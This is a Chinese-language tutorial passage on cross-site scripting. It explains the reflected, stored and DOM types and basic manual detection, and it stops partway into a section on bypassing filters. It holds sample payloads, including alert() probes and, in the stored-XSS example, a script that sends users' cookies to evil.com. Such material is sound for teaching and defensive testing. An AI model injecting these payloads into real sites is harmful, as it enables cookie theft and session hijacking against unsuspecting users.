引言：跨站脚本攻击（XSS）的现状与重要性

跨站脚本攻击（Cross-Site Scripting，简称XSS）是Web安全领域中最常见且危害极大的漏洞之一。根据OWASP（开放式Web应用程序安全项目）的最新报告，XSS在Web应用漏洞排行榜中长期位居前三。攻击者通过注入恶意脚本，能够在受害者的浏览器中执行任意代码，从而窃取敏感信息、劫持会话或传播恶意软件。

在当前的网络环境中，随着Web应用的复杂性不断增加，XSS攻击手段也在不断演进。从最初的简单脚本注入，到现代的DOM-based XSS和基于框架的攻击，防御难度日益增加。本文将从基础原理出发，深入解析XSS的分类、检测方法、真实渗透案例以及防御策略，帮助读者全面掌握XSS攻防技术。

第一部分：XSS基础原理详解

1.1 什么是XSS攻击？

XSS攻击的核心原理是攻击者将恶意脚本注入到Web页面中，当其他用户访问该页面时，恶意脚本在用户的浏览器中执行。由于浏览器无法区分脚本是来自合法网站还是恶意注入，因此恶意脚本可以访问用户的Cookie、Session等敏感信息，甚至可以执行任意操作。

XSS攻击的基本流程：

  1. 攻击者发现目标网站存在XSS漏洞
  2. 攻击者构造恶意Payload并注入到网站
  3. 受害者访问包含恶意Payload的页面
  4. 恶意脚本在受害者浏览器执行

1.2 XSS的三种主要类型

1.2.1 反射型XSS（Reflected XSS）

反射型XSS是最常见的XSS类型，恶意脚本作为输入的一部分发送到服务器，服务器将其反射回响应中。攻击者通常通过钓鱼邮件或社交工程诱导用户点击恶意链接。

示例：

// 恶意链接
https://example.com/search?q=<script>alert('XSS')</script>

// 服务器响应（如果未过滤）
<div>搜索结果：<script>alert('XSS')</script></div>

1.2.2 存储型XSS（Stored XSS）

存储型XSS将恶意脚本永久存储在目标服务器上（如数据库、评论区、论坛帖子等），所有访问该内容的用户都会受到攻击。这是危害最大的XSS类型。

示例：

// 用户在评论区输入
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

// 其他用户访问文章页面时，脚本自动执行并发送Cookie到攻击者服务器

1.2.3 DOM型XSS（DOM-based XSS）

DOM型XSS不涉及服务器，纯客户端脚本操作导致。当JavaScript代码使用不安全的DOM属性（如innerHTML、location）时可能发生。

示例：

// 问题代码
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

// 恶意URL
https://example.com/#<img src=x onerror=alert('XSS')>

1.3 XSS攻击的危害

XSS攻击可以导致多种严重后果：

  • 会话劫持：窃取用户Session ID，冒充用户身份
  • 敏感信息窃取：获取Cookie、LocalStorage、密码等
  • 键盘记录：监听用户输入
  • 钓鱼攻击：伪造登录表单
  • 蠕虫传播：自我复制传播（如MySpace XSS蠕虫）
  • 恶意软件分发：重定向到恶意网站

第二部分：XSS检测与渗透测试方法

2.1 手动检测XSS漏洞

2.1.1 基础检测方法

检测XSS漏洞的基本步骤是输入特殊字符，观察是否被正确过滤或编码。

常用检测Payload：

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

检测流程：

  1. 在搜索框、表单字段、URL参数等位置输入检测Payload
  2. 查看源代码，检查Payload是否被完整保留
  3. 如果Payload被执行，确认存在XSS漏洞
  4. 如果被编码，分析编码规则，尝试绕过

2.1.2 绕过基础过滤

情况1：过滤